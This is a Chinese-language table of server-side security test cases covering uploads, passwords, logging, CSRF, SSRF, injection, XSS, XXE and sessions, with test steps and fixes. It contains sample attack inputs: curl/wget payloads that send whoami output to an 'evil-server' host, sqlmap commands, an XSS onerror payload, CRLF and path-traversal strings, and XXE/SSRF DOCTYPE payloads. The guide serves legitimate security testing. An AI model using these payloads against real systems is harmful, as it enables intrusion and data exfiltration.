服务端安全测试用例设计
服务端安全测试用例设计，涵盖检查项解读、检查点、工具推荐、测试方法、预期结果或建议。
| 一级检查点 | 二级检查点 | 背景解读 | 问题界定 | 测试方式 | 测试工具 | 测试方法 | 预期结果或建议 |
| 文件上传 | 上传文件是否能保存到web目录，且未使用白名单方式对文件扩展名进行过滤限制。 | 上传文件能保存到web目录，且未使用白名单方式对文件扩展名进行过滤限制： 1、上传文件是web脚本语言，服务器的web容器解释并执行了用户上传的脚本，导致代码执行； 2、上传文件是病毒或者木马时，主要用于诱骗用户或者管理员下载执行或者直接自动运行； 3、上传文件是Flash的策略文件 crossdomain.xml，黑客用以控制Flash在该域 下的行为(其他通过类似方式控制策略文件的情况类似); 4、上传文件是病毒、木马文件，黑客用以诱骗用户或者管理员下载执行； 5、上传文件是钓鱼图片或为包含了脚本的图片，在某些版本的浏览器中会被作为脚本执行，被用于钓鱼和欺诈。 除此之外，还有一些不常见的利用方法，比如将上传文件作为一个入口，溢 出服务器的后台处理程序，如图片解析模块;或者上传一个合法的文本文件，其内容包含了PHP脚本，再通过"本地文件包含漏洞(Local File Include)"执行此脚本。 |
非合规问题 | 手工/工具测试 | Burp Suite、charles、fiddler、postman等(任选) | 白盒测试： 1、了解上传场景，确定业务允许上传哪些类型的文件； 2、 在代码中找到上传接口，检查代码中是否使用白名单的方式对传入的文件进行后缀校验 （白名单一般写死在代码中或者从配置文件、数据库中读取）；例如：只允许上传.jpg、.gif、.png图片文件，那么在代码中可以定义一个数组来存放这些扩展名，当上传文件的扩展名在这个数组中时才上传，否则禁止上传，并给出扩展名不正确的提示。不允许使用黑名单方式； 3、 检查文件后缀校验的代码，能否被绕过。 黑盒测试： 1、在上传文件处，使用抓包工具进行抓包对文件后缀名进行更改为（php,html,jsp,asp等）后缀，根据响应包判断服务端是否对后缀名进行过滤。 |
1、对上传的文件，返回数据包时隐藏上传文件的路径； 2、服务器端的安全过滤，对上传文件的类型、以及后缀名进行严格的把控； 3、上传类型进行安全限制，JS前端以及后端一起做双层的安全限制，对文件的扩展名安全检测，MIME文件类型安全检测； 4、对上传的目录进行文件夹安全限制，去掉目录的脚本执行权限，只有普通jpg图片等运行，以及读写权限。 |
| 是否对上传的文件大小进行校验（如果限制了存储空间，可以不对文件大小进行校验）。 | 一般在需要上传文件的功能，都需要对上传文件的大小做限制，如不能超过多少KB或多少MB，这样做的目的主要有以下两个方面考虑： 1、大文件的上传会大量占用服务器宝贵的网络资源，大大降低系统吞吐量； 2、大文件浪费系统存储资源，既占用大量磁盘空间，同时在存取时也将极大消耗系统磁盘I/O。 |
非合规问题 | 手工/工具测试 | Burp Suite、charles、fiddler、postman等（任选） | 白盒测试： 1、了解上传场景，确定业务是否对上传的文件大小进行校验或是否限制了存储空间； 2、 在代码中找到上传接口，检查代码中设定的文件上传大小限制是否合理。 黑盒测试： 1、直接调用上传接口绕过前端限制，发送超过大小限制的大文件查看是否上传成功。 |
1、对上传的文件做合理的大小限制； 2、对上传文件夹的存储空间做限制。 |
|
| 上传落盘的文件名是否随机生成 | 要确保文件上传时不会覆盖重要内容，将落盘文件名改为随机数，弃用原来文件名，防止不规则文件名或文件名冲突导致的安全问题。 | 非合规问题 | 手工测试 | / | 检查上传文件落盘的文件名是否为原始文件名，是否采用随机数生成。 | 上传后落盘的文件名应由足够长度的真随机数组成，无文件名冲突导致的文件覆盖，越权访问等问题。需还原原始文件名的场景可自行添加文件名映射表。 | |
| 文件下载 | 是否可实现下载服务器文件，如脚本代码，服务器配置或者是系统配置等等 | 一些网站由于业务需求，往往需要提供文件查看或文件下载功能，但若对用户查看或下载的文件不做限制，则恶意用户就能够查看或下载任意敏感文件，这样的安全问题需要满足以下利用条件： 1、存在读文件的函数； 2、读取文件的路径用户可控且未校验或校验不严； 3、输出了文件内容。 |
非合规问题 | 手工测试 | / | 检查待下载文件的路径，是否全部（直接使用外部输入）或部分（使用外部输入拼接成文件保存路径）使用外部输入，例如：使用请求中的filename、path等参数值； 1、如果直接使用外部输入，或者使用外部输入进行拼接，则存在问题； 2、如果业务确实需要使用外部输入作为下载路径的一部分，则需要对外部输入内容做严格的参数校验，不能存在./、../、%00、.\.\、.\.特殊字符，以防止跨目录攻击； |
1、下载路径不可控，而是程序自动生成后保存在数据库中，根据ID进行下载； 2、对参数做严格的过滤，不能进行目录遍历（穿越）。 |
| 口令安全 | 口令复杂度检查 | 每次攻防演练中，用户弱密码或者缺省密码往往成为了攻击的最优解。由弱口令导致的攻击事件实令人心惊胆战，弱密码，空密码，缺省密码以及明文密码等逐一被挖掘出来，其中涉及不少重要业务系统和核心基础设施。为了解决这种问题，产品要求采用强密码策略。 | 红线问题 | 手工测试 | / | 1、 查看口令是否可以低于10个字符； 2、 查看口令是否可以不满足密码复杂度（只使用大/小写字母，特殊字符，数字其中、一种）； 3、 查看口令是否能与账号一致； 4、 查看缺省口令是否满足密码复杂度； 查看所有校验是是否能够绕过这些验证，以上检查项若有一项为“是”，则用例不通过。 |
口令复杂度满足要求 |
| 用户锁定机制 | 支持设置口令出错锁定阈值，提供锁定用户的机制。当重复输入错误口令次数(如：3次）超过阀值时采取合适保护措施（1种或多种）。保护措施可参考： 1、锁定帐号； 2、锁定IP； 3、登录延迟； 4、验证码； 5、IP白名单。 |
红线问题 | 手工测试 | / | 1、多次输入错误口令，查看是否启动保护措施 2、使用非白名单IP尝试登录 |
1、多次登陆失败，系统启动保护机制，防止暴力破解； 2、非白名单IP无法进行登录。 |
|
| 口令加密存储 | 1、口令需加密保护，不能够明文写入日志文件、代码、配置文件以及cookie中； 2、口令文件必须设置访问控制，普通用户不能读取或拷贝加密的内容； |
红线问题 | 手工测试 | / | 1、搜索问题定位日志文件，查看是否有明文口令； 2、搜索所有系统后台配置文件，看是否有明文口令； |
未发现明文口令，输入框口令不能被拷贝（使用第三方组件导致口令必须以明文形式存在的除外） | |
| 口令安全传输 | 口令不能在网络中明文传输 | 红线问题 | 工具测试 | Burp Suite、charles、fiddler、postman等（任选） | 1、查看接口是否采用https； 2、口令是否单独加密或哈希后进行传输。 |
口令属于敏感信息，除采用https安全传输通道外，还需要进行单独加密或哈希处理 | |
| 口令修改 | 1、用户修改自己口令时必须验证旧口令或其它形式的双因子认证。 2、不允许修改除自身账号以外的账号的口令（管理员除外）。 |
红线问题 | 工具测试 | Burp Suite、charles、fiddler、postman等（任选） | 1、查看用户修改口令时，是否可以不用做口令验证； 2、重放修改口令接口，将用户名修改为其他已有用户，检查是否可以越权修改。 |
1、修改口令时需重新进行口令认证； 2、只能修改自身账号口令。 |
|
| 服务端日志审计 | 事中日志记录及事后审计 | 日志审计是安全事件中事后追溯，定位问题原因及划分事故责任的重要手段。 详细的日志记录一方面可以帮助撇清与我方不相关的责任（如运营商的失误），也可以帮助回溯历史操作，提高现网问题定位的效率。 |
红线问题 | 手工测试 | / | 1、查看审计日志记录方式，代码中检索@AuthCheckAnnotation，或者/sds/insertOperatorLogger，或者在管理中心 - 审计日志里确认是否包含本业务的操作日志，或者是否有用业务自己的数据库记录。 2、日志记录需涵盖管理面上所有的用户活动，包括： 1） 登录和注销； 2） 增加、删除用户和用户属性（帐号、口令等）的变更； 3） 用户的锁定和解锁，禁用和恢复； 4） 角色权限变更； 5） 系统相关安全配置（如安全日志内容配置）的变更； 6）、重要资源的变更，如某个重要文件的删除、修改等。 3、确定审计日志记录方式，定位日志记录代码语句，查看增、删、改操作记录是否有遗漏，日志记录6要素是否完整。 4、管理面用户活动、操作指令的日志应支持回溯审计，至少包含下列内容： 1） 事件发生的时间； 2） 用户ID； 3） 访问发起端地址或标识（如关联终端、端口、网络地址或通信设备等）； 4） 事件类型； 5） 被访问的资源名称； 6） 事件的结果。 5、遍历所有管理台portal操作，查看增、删、改是否有日志记录，日志记录6要素是否完整。 6、日志记录需涵盖管理面上所有的操作指令，包括： 1） 对系统配置参数的修改； 2） 对系统进行启动、关闭、重启、暂停、恢复、倒换； 3） 对业务的加载、卸载； 4） 软件的升级操作，包括远程升级和本地升级； 5） 对重要业务数据（特别是与财务相关的数据，包括：卡号、余额、话单、费率、费用、订单、出货、帐单等）的创建、删除、修改； 6）、所有帐户的命令行非查询操作命令。 |
日志的记录全面覆盖关键操作并具备完整的事后审计功能要求 |
| 日志要有访问控制 | 1、日志要有访问控制； 2、禁止日志模块提供修改日志记录的能力； 3、日志如果允许删除，删除权限须控制在管理员或者系统。 |
红线问题 | 手工测试 | / | 1、检查针对日志的访问是否具有严格的权限控制，是否可以越权访问。比如系统配置性操作日志只有管理员可以访问，普通用户只能访问由自身账号相关的操作日志； 2、检查是否违规提供对于日志记录的修改操作接口； 3、检查是否提供非管理员用户删除审计日志的功能，原则上审计日志应至少留存6个月。 |
1、不出现日志信息的非授权访问、越权访问； 2、不提供修改日志记录的功能； 3、不提供非管理员账户删除任何日志的功能。 |
|
| 日志不得含有敏感信息 | 开发调试日志、系统日志中不能出现敏感数据，比如： 1、个人可标识数据（PII）：如社会安全号码，数据组合（如名字+出生日期或姓氏+邮政编码）或用户生成的数据，如电子邮件或用户名、手机号； 2、健康信息； 3、财务数据比如信用卡号、订单信息等； 4、密码； 5、个人通信记录等。 |
红线问题 | 手工测试 | / | 白盒测试 1、全工程搜索Logger.、log.*\(.*等关键字，检查具体的打印内容，如果打印个人数据或敏感数据，则存在问题（Logger.d打印，确认release包是否打印，release包不打印即可，debug日志允许在debug包中打印）； 2、如果打印个人数据或敏感数据，检查是否已做匿名化出来（不允许加密打印，加密是假名化，只允许匿名化）；如果已匿名，检查匿名化规则是否合理（要求匿名化程度30%以上，如手机号13位，至少应匿名4位）；如果匿名化后仍可拼接出完整数据或者只匿名化数据公开部分，则匿名化规则存在问题（如手机号为13位，合理匿名应为中间4位，而匿名前三位公共部分无意义，可猜解）。 3、遍历测试所有功能，logcat抓取所有日志，检索日志中是否打印敏感数据或个人数据，打印则存在问题； 黑盒测试 1、可以通过搜索反编译后的源码进行关键字搜索，关键字挑选不容易重复的，然后走读对应的代码，确认字段代表的含义。 |
不出现未充分匿名化的敏感信息 | |
| CSRF | / | 跨站请求攻击，简单地说，是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。这利用了 web 中用户身份验证的一个漏洞：简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。 | 非合规问题 | 工具测试 | Burp Suite、charles、fiddler、postman等（任选） | 检查请求包是否具有CSRF TOKEN: 1. Token要足够的随机，必须使用安全的随机算法生成； 2. Token要由服务器侧生成，要确保Token在会话间有效，即会话更新，token也要跟着更新； 会话失效，Token也必须失效。 3. Token可以放到url、header和body中，不可放到cookie中； 4. Token也可以不与会话绑定，譬如采用使用1次即失效也是可以的。 5. 由客户端在重要请求中提交给服务器，服务器侧来验证Token的有效性。 6、获取Token的接口，需要对请求头中的refer值进行安全校验。 7、Token长度至少为24字节。 |
携带同一域名下的cookie到服务器，服务器端验证cookie有效性后，还需验证Token有效性。 |
| SSRF | / | 服务端请求伪造指的是攻击者在未能取得服务器所有权限时，利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。 | 非合规问题 | 手工/工具测试 | xray | 排查思路： 1、SSRF是由于服务端获取其他服务器的相关信息的功能中形成的，因此我们大可以列举几种在web 应用中常见的从服务端获取其他服务器信息的的功能。 1） 远程抓取，主要是通过 URL 获取远程资源的场景 a.分享：通过 URL 地址分享网页内容； b.转码服务：通过 URL 地址把原地址的网页内容调优使其适合手机屏幕浏览； c.图片加载与下载：通过 URL 地址加载或下载图片； d.图片、文章收藏功能； e.在线翻译 2） 生成缩略图场景； 3） 未公开的 api 实现以及其他调用 URL 的功能（比如请求回调等） 4） 解析 XML 时加载外部 dtd/资源的场景，如： <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root SYSTEM "http://192.168.202.238:38080/ssrf.txt"> <root><file>&root;</file></root> 测试方式： 1、排除法：浏览器f12查看源代码看是否是在本地进行了请求。比如：该资源地址类型为 http://www.xxx.com/xxx?image=（地址）的就可能存在SSRF漏洞； 2、dnslog等工具进行测试，看是否被访问。可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64，这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求； 3、抓包分析发送的请求是不是由服务器的发送的，如果不是客户端发出的请求，则有可能是，接着找存在HTTP服务的内网地址。 1）从漏洞平台中的历史漏洞寻找泄漏的存在web应用内2）网地址通过二级域名暴力猜解工具模糊猜测内网地址 4、直接返回的Banner、title、content等信息； 5、留意bool型SSRF； |
1、限制请求的端口只能为Web端口，只允许访问HTTP和HTTPS的请求。 2、限制不能访问内网的IP，以防止对内网进行攻击。 3、屏蔽返回的详细信息。 |
| 重定向 | / | URL重定向漏洞，又称跳转漏洞。指的是网络应用程序接受用户可控的输入作为到外部站点的链接，然后在重定向中使用该链接。 | 非合规问题 | 工具测试 | Burp Suite、charles、fiddler、 postman等 |
1、了解容易产生重定向漏洞的业务点： 1）用户登录、统一身份认证处，认证完后会跳转 2）用户分享、收藏内容过后，会跳转 3）跨站点认证、授权后，会跳转 4）站内点击其它网址链接时，会跳转 5）图片上传处（暴露图片存放路径的，并且可以修改的情况下） ..... 2、关注url中常见的跳转参数名: redirect redirect_to redirect_url url jump jump_to target to link linkto domain 3、将对应参数名的url替换为攻击者的url，判断是否成功跳转到攻击者的url。 |
1、从实现角度，进行输入验证：对输入的信息进行验证。 比如说使用已知的有效输入验证机制，或是制定严格的说明来规范输入的信息等等。对于不符合规范的输入，或者是拒绝接受，或者对输入进行转换净化，让它符合规范要求； 2、从体系架构和设计上防范该安全漏洞，并尽量减少暴露的攻击面。 |
| 文件读取 | / | 所谓文件读取漏洞，就是攻击者通过一些手段可以读取服务器上开发者不允许读到的文件。 从整个攻击过程来看，它常常作为资产信息搜集的一种强力的补充手段，服务器的各种配置文件、文件形式存储的密钥、服务器信息（包括正在执行的进程信息）、历史命令、网络信息、应用源码及二进制程序都在这个漏洞触发点被攻击者窥探 |
非合规问题 | 手工测试 | / | 1、了解容易产生任意文件读取漏洞的业务点： 1) 加载图片，一般通过URL加载服务器后端存储的图片； 2) 加载帮助文档等静态资源； 2、在文件读取处，使用抓包工具进行抓包将文件名更改为./、../、%00、.\.\、.\.特殊字符，根据响应包判断服务端是否存在任意文件读取漏洞。 |
1、过滤点(.)使用户在url中不能回溯上级目录； 2、正则严格判断用户输入参数的格式； 3、限定文件访问范围。 |
| 注入问题 | SQL注入 | 所谓SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询 字符串，最终达到欺骗服务器执行恶意的SQL命令。具体来说，它是利用现有应用程序， 将（恶意的）SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的，这类表单特别容易受到SQL注入式攻击。 |
非合规问题 | 手工/工具测试 | 1、Burp Suite、charles、fiddler等（任选） 2、sqlmap、xray等自动测试工具 |
1.手工注入： a) 需要掌握sql语法 b) 总结常用手工测试的payload: and 1=1，and 1=2 or 1=1，or 1=2 select sleep(3) 2. sqlmap常用测试注入命令： a) python sqlmap.py -u "http://www.demo.com.cn/en/products.php?tid=10" b) python sqlmap.py -u "http://demo.com.cn/admin.php" -- data="id=1&name=admin" c) python sqlmap.py -u "http://demo.com/admin.php" --cookie "customerId=591edabaab5b52292042df8a" |
SQL注入攻击对的问题最终归于有用户可以控制输入，因此可以通过约束用户的输入进行防范SQL注入漏洞。 1、 SQL注入攻击对的问题最终归于有用户可以控制输入，因此可以通过约束用户的输入进行防范SQL注入漏洞； 2、加强对用户输入进行验证和过滤； 3、参数传值； 4、使用安全参数； 5、普通用户与系统管理员用户的权限要有严格的区分； 6、对用户进行分级管理，严格控制用户的权限，对于普通用户，禁止给予数据库建立、删除、修改等相关权限，只有系统管理员才具有增、删、改、查的权限。 |
| XSS | 跨站脚本攻击，缩写为XSS。XSS漏洞是Web应用程序中最常见的漏洞之一。攻击者Web页面里插入恶意JavaScript代码，当用户浏览该页面的时候，嵌入Web里面的JavaScript代码会被执行，从而达到攻击用户的目的。 根据攻击的来源，XSS 攻击可分为存储型、反射型和 DOM 型三种： 1、存储型XSS，存储在后端数据库，插入点在HTML； 2、反射型XSS，存储在URL，插入点在HTML； 3、DOM 型 XSS，存储在后端数据库/前端存储/URL，插入点在前端 JavaScript。 |
非合规问题 | 手工/工具测试 | 1、Burp Suite、charles、fiddler等 2、xray自动测试工具 |
1、了解web业务的输入点，比如用户保存资料，留言等； 2、使用抓包工具对数据包的字段插入xss payload(如：<img src=x onerror=alert(1) />等)； 3、根据响应回来信息来判断是否存在XSS漏洞。 |
1、预防存储型和反射型 XSS 攻击防御： 存储型和反射型 XSS 都是在服务端取出恶意代码后，插入到响应 HTML 里的；因此预防这两种漏洞，有两种常见做法： 1） 对文本内容做充分转义; 2） 标签和属性基于白名单过滤：对于富文本编辑器来说，其产物本身就是 html 代码，所以没办法简单粗暴使用转义来处理，应该要对内容中的标签和属性，基于白名单进行过滤。（附 XSS 黑名单：DOM 中的内联事件监听器如onclick等、<a>标签的href属性、<script>标签、css 中的url功能）。 2、预防 DOM 型 XSS 攻击 1） 不要直接把后端传来的数据作为 html 来渲染，比如innerHtml()/outerHtml()/document.write()等方法，又比如 Vue 的v-html；尽量使用textContent/setAttribute()。 3、对于不可信的数据，输出到客户端前必须先进行HTML编码。（非系统本身直接可控组件生成的数据是不可信的） 1）HTML实体编码参考： a. 编码的字符集合最小化要求： 转换 & 为 &；; 转换 < 为 <；; 转换 > 为 >；; 转换 "" 为 "；; 转换 ' 为 16进制 '；或者10进制' 转换 / 为16进制 /；或者10进制/ 转换 ( 为10进制 ( 或者16进制( 转换 ) 为10进制 ) 或者16进制) b. 最优的字符编码方式，建议如下： * 字符 , . - _ 空格 字母（a-z, A-Z）数字(0-9) ，此类字符不需要转码。 * 以下字符需要转换： - 转换 & 为 & - 转换 < 为 < - 转换 > 为 > - 转换 "" 为 " * 以下字符需特殊转换： - 其它字符编码为； - 16进制字符的编码为� - 十进制至少需实现最小化编码要求。 2）HTML属性编码参考： 对HTML实体编码中，需要对空格进行转码成 " |
|
| 命令注入 | 命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。该类漏洞通常出现在调用外部程序完成一些功能的情景下。 | 非合规问题 | 手工测试 | / | 1、了解常见容易发生命令注入漏洞的业务点： 1） Web管理界面的配置主机名/IP/掩码/网关。 2）查看系统信息以及关闭重启等功能。 3）发送邮件、转换图片等功能。 ..... 2、有回显测试payload： 1） $(whoami) 2） `whoami` 3） || $(whoami) 4） && $(whomai) 2.无回显测试payload，观察服务器(evil-server)是否接收到数据来判断： 1） curl http://evil-server/$(whoami) 2） wget http://evil-server/$(whoami) |
修复命令注入漏洞： 1、从架构和设计的角度来说： 1）要用最小权限去运行程序，不要给予程序多余的权限，最好只允许在特定的路径下运行，可以通过明确的路径运行命令; 2）尽可能使用库或框架：使用不允许此弱点出现的经过审核的库或框架，或提供更容易避免此弱点的构造。尽可能地使用库调用，而不是调用外部进程来完成所需功能; 3）减少被攻击面：对于那些被用于生成待执行命令的数据，尽可能避免其被外部可控的数据污染。 2、从实现的角度来说： 1）虽然使用动态生成的查询字符串，代码或命令将控制和数据混合在一起是有风险的，但有时它可能是不可避免的。正确引用参数并转义这些参数中的任何特殊字符。最保守的方法是转义或过滤所有未通过极其严格的白名单的字符(例如不是字母数字或空格的所有内容)。如果仍然需要一些特殊字符，例如空格，则在转义/过滤步骤之后将每个参数包装在引号中; 2）如果只允许运行有限的命令，使用白名单方式过滤。 |
|
| CRLF漏洞 | CRLF注入漏洞，是因为Web应用没有对用户输入做严格验证，导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF，就能注入一些首部字段或报文主体，并在响应中输出，所以又称为HTTP响应拆分漏洞 | 非合规问题 | 手工测试 | / | 1、了解常见容易发生漏洞的业务点： 1） 页面的302跳转 ..... 1.在怀疑有CRLF漏洞的参数中，通过如下payload进行测试: 1） %0a%0dSet-Cookie: test123=123 2) %0a%0d %0a%0dSet-Cookie: test123=123 2、观察http响应包文是否有Set-Cookie: test123=123，如果存在则说明存在CRLF漏洞 |
1、过滤掉CRLF字符，最好过滤掉所有控制字符（ASCII码十六进制 0x00~0x1F）； 2、不对用户的输入直接输出。 |
|
| XXE | XXE（XML外部实体注入，XML External Entity) ，在应用程序解析XML输入时，当允许引用外部实体时，可构造恶意内容，导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。Java中的XXE支持sun.net.www.protocol 里的所有协议：http，https，file，ftp，mailto，jar，netdoc。一般利用file协议读取文件，利用http协议探测内网 | 非合规问题 | 手工测试 | / | 1、了解常见容易发生漏洞的业务点: 1） docx，excel等文档的解析 2） xml格式文档的解析 ..... 2、在怀疑有XXE漏洞的参数中，通过如下payload进行测试: <?xml version="1.0"?> <!DOCTYPE data SYSTEM "http://publicServer.com/" [ <!ELEMENT data (#ANY)> ]> <data>4</data> 3、如果publicServer.com能接收到其他服务器的请求，则说明存在XXE漏洞。 |
XXE的防御有两个方向 ”过滤“ 和 ”禁用“： 1、过滤参数中的关键词<!DOCTYPE 和 <!ENTITY，或者SYSTEM和PUBLIC； 2、禁用外部实体引用 |
|
| 身份认证 | 越权访问 | 如果需要授权访问的页面没有做会话合法判断和权限判断，一但被攻击者知道访问地址将可以直接访问，导致越权访问。 | 非合规问题 | 手工测试 | / | 对于每一个需要鉴权的接口，检查用户是否被授权执行该操作，是否存在越权校验了会话的合法性，并不能保证当前用户可以执行此操作，还需要确认用户的角色。 测试步骤： 1、纵向越权：了解业务的鉴权过程，检查在执行业务操作之前，是否对当前用户的身份进行判断，以确定该用户是否可以执行操作：这个过程一般是：从sessionid中解析出userid，根据userid确定用户的role，业务也 可能不使用userid，而是直接从sessionid中解析出role，需要根据具体的实现进行灵活的变通； 2、横向越权：了解业务的鉴权过程，检查在执行业务操作之前，是否校验发起请求的用户与资源所属的用户，是否一致，如果不是，则可能存在越权。 |
用户只能执行本用户对应身份的增删改查权限。 |
| 未授权访问 | 当用户访问受限资源或请求需要鉴权的操作时，必须先对提出该操作请求的用户成功地进行认证，防止出现未授权访问。 | 红线问题 | 手工测试 | / | 1、不登录账号，直接访问受限资源链接； 2、执行敏感操作请求，抓包后清除cookie等认证信息，重放请求，查看是否成功； 3、不可存在第三方组件未授权访问。 |
访问受限资源失败。 | |
| 账号唯一性验证 | 系统删除账号时，如果与之关联的信息删除不完全，而新建账号与已删除的账号同名时，又继承了原账号的某些信息，则可能出现越权等问题。 | 红线问题 | 手工测试 | / | 1、使用管理员账号登陆系统。 2、新建应用账号，填写所有相关信息（个人信息、认证信息等），并分配或关联多个程序执行权限（如telnet登陆权限、FTP上传权限等）。 3、删除此应用账号。 4、新建应用账号与之前删除的同名，所有非必选信息默认不填，新建成功后，查看此应用账号是否有相关信息继承了之前的账号（如是否继承了原账号的个人信息或相关程序执行权限）。 |
1、删除应用帐号时，与该帐号的权限相关的所有属性同时删除或使之失效，不再可以重用。 2、新建应用帐号时，如果帐号与某个已经删除的帐号名称相同，则不能继承已删除帐号的所有信息（如个人信息、认证信息、授权信息等）。 |
|
| 身份验证提示 | 身份验证的失败提示信息采用模糊处理，比如可以使用“用户名或密码错误”，而不要使用“用户名错误”或者“密码错误”明确提示。 | 红线问题 | 手工测试 | / | 1、进行账号登陆； 2、输入正确的账号、错误的密码查看提示信息； 3、输入错误的账号、错误的密码查看提示信息。 |
身份验证的失败提示信息采用模糊处理，比如可以使用“用户名或密码错误”，而不要使用“用户名错误”或者“密码错误”明确提示。 | |
| 会话安全 | Session固定 | 当用户首次与Web服务器建立连接的时候，服务器会给用户分发一个 SessionID作为标识。 由于HTTP的无状态性，导致Web应用程序必须使用会话机制来识别用户。会话固定攻击（session fixation attack）是利用应用系统在服务器的SessionID固定不变的机制，借助他人用相同的会话ID获取认证和授权，然后利用该会话ID劫持他人的会话以成功冒充他人，造成会话固定攻击。 | 非合规问题 | 工具测试 | Burp Suite、charles、fiddler等（任选） | 1、访问网站（未登录）：获取cookie信息，获取sessionid； 2、登录网站：查看cookie信息，获取sessionid； 3、查看登录前，登录后sessionid是否相同。 |
Web应用程序的会话标识必须具备随机性，身份验证成功后，必须更换会话标识。 |
| 注销时会话信息清除 | 由于网站程序在编写上考虑不周，用户注销后会话信息没有清除，导致用户在点击注销按钮之后还能继续访问注销之前（也就是登陆之后）才能访问的页面。我们需要经过测试来判断是否存在此类问题。 | 红线问题 | 工具测试 | Burp Suite、charles、fiddler等 | 前提： 1、 已知Web网站地址 2、 Web业务正常运行 3、 存在注销功能的页面 测试步骤： 1、 使用合法的账户口令登陆。 2、 开启burpsuite，配置对GET和POST请求进行拦截 3、 在浏览器中配置代理服务器IP为127.0.0.1，端口为8008 4、 在Web页面中进行一些操作（比如修改个人信息），这些操作都会被burpsuite拦截，不修改，并保存该请求。 5、 然后在Web页面中点击注销/退出（logout）。 6、 点击burpsuite中send按钮，重新发送“步骤4”的URL请求。 7、 在burpsuite观察返回结果，如果还能够正常完成“步骤4”的操作，则存在安全漏洞。 |
在burpsuite的Response的“Raw”Tab页中显示“HTTP/1.1 302 Moved Temporarily”，不能够访问只有登陆才能访问的页面，不能完成只有登陆后才能完成的操作。 如果存在多个注销功能的页面，要重复测试过程把所有有注销功能的页面测试完。 |
|
| 长时间未操作自动下线 | Session 是应用系统对浏览器客户端身份认证的属性标识，在用户长时间不做操作时，系统应将客户端Session 认证属性标识清空。 如果未能清空 Session 认证会话，该认证会话将持续有效，此时攻击者获得该Session 认证会话会导致用户权限被盗取。 |
非合规问题 | 手工测试 | / | 1、F12打开浏览器的开发调试工具，菜单栏选择Application，选择左侧Storage中的cookies，查看登录信息过期机制； 2、参考设计文档，查看空闲超时过期机制。 |
通常客户空闲超时连接注销或自动断开必须不超过60分钟，当空闲超过60分钟，连接必须注销用户登录或自动断开连接（session设置超时为60分钟）用户必须重新登录。 | |
| 禁止在 URL 中携带会话标识 | 某些Web应用将SesssionId等会话标识放到了URL中进行传输，攻击者能够诱使被攻击者访问特定的资源，例如图片。在被攻击者查看资源时获取该SessionID（在HTTP协议中Referer标题头中携带了来源地址），从而导致身份盗用。 | 红线问题 | 工具测试 | Burp Suite、charles、fiddler等（任选） | 前提： 1、 已知Web网站地址 2、 Web业务运行正常 3、 Web业务存在登陆认证模块 4、 已知正确的用户名、口令 测试步骤： 1、 登录系统。 2、 请求不同的业务应用 3、 观察URL。 |
URL中没有携带Session ID等身份认证信息（可能是sid,JSESSIONID等形式）。 | |
| 防盗链 | 采取保护措施，防止图片盗链、文件盗链、音频盗链、视频盗链等 | 盗链是指在自己的页面上展示一些并不在自己服务器上的一些内容， 获取别人的资源地址，绕过别人的资源展示页面，直接在自己的页面上向最终用户提供此内容。 一般被盗链的都是图片、 音乐、视频、软件等资源。通过盗链的手段可以减轻自己服务器的负担。 | 非合规问题 | 手工测试 | / | 1、抓取访问链接在浏览器地址栏中直接输入各个功能页面的URL地址，看系统如何处理，是否能够直接链接查看（匿名查看），是否有权限控制，是否直接执行，并返回相应结果页。 | 1、设置白名单、黑名单来实现防盗链； 2、通过http请求中的referer确定请求的来源，如果http请求中没有referer为空，这里对于referer为空是否允许访问也可以设置； 3、在bucket访问控制中加入字段 <referer类型>： 防盗链类型：白名单 | 黑名单 | 关闭 <白名单列表> 域名(ip)匹配，以逗号隔开 <黑名单列表> 域名(ip)匹配，以逗号隔开 <NullRefere> 是否支持空referer |
| 目录遍历 | / | 目录遍历漏洞是由于网站存在配置缺陷，导致网站目录可以被任意浏览，这会导致网站很多隐私文件与目录泄露，比如数据库备份文件、配置文件等，攻击者利用该信息可以为进一步入侵网站做准备。目录遍历漏洞可能存在于Web服务器软件本身，也可能存在于Web应用程序之中。好比如IIS或者Apache这些中间件若是配置不当，就会造成目录遍历漏洞。 | 非合规问题 | 手工测试 | / | 1、程序在实现上没有充分过滤用户输入的../之类的目录跳转符，导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件； 2、在怀疑存在目录遍历的参数处，使用抓包工具进行抓包将文件名更改为./、../、%00、.\.\、.\.特殊字符, 根据响应包判断服务端是否存在目录遍历漏洞。 |
1、对用户的输入进行验证，特别是路径替代字符如“../”和“~/”； 2、尽可能采用白名单的形式，验证所有的输入； 3、合理配置Web服务器的目录权限； 4、当程序出错时，不要显示内部相关配置细节； 5、对用户传过来的文件名参数进行统一编码，对包含恶意字符或者空字符的参数进行拒绝。 |
| 条件竞争 | / | 竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。 开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行，而且他们忽视了并行服务器会并发执行多个线程，这就会导致意想不到的结果。 线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段，也被称之为临界区（critical section），如果没有应用好同步技术则会发生“竞争条件”问题。 |
非合规问题 | 工具测试 | Burp Suite、charles、fiddler等（任选） | 针对提单等场景，使用Burp Suite的模块Inturder，将线程调到25进行多线程异步发包，也可以使用curl同时发包。通过查看多个异步请求返回的不同结果，比如11个测试中有10个相同，那一个包可能就是攻击成功的请求。 | 1、对于数据库的操作设置锁； 2、对于文件上传，一定要经过充分完整的检查之后再上传而不是先上传在辨别。 |
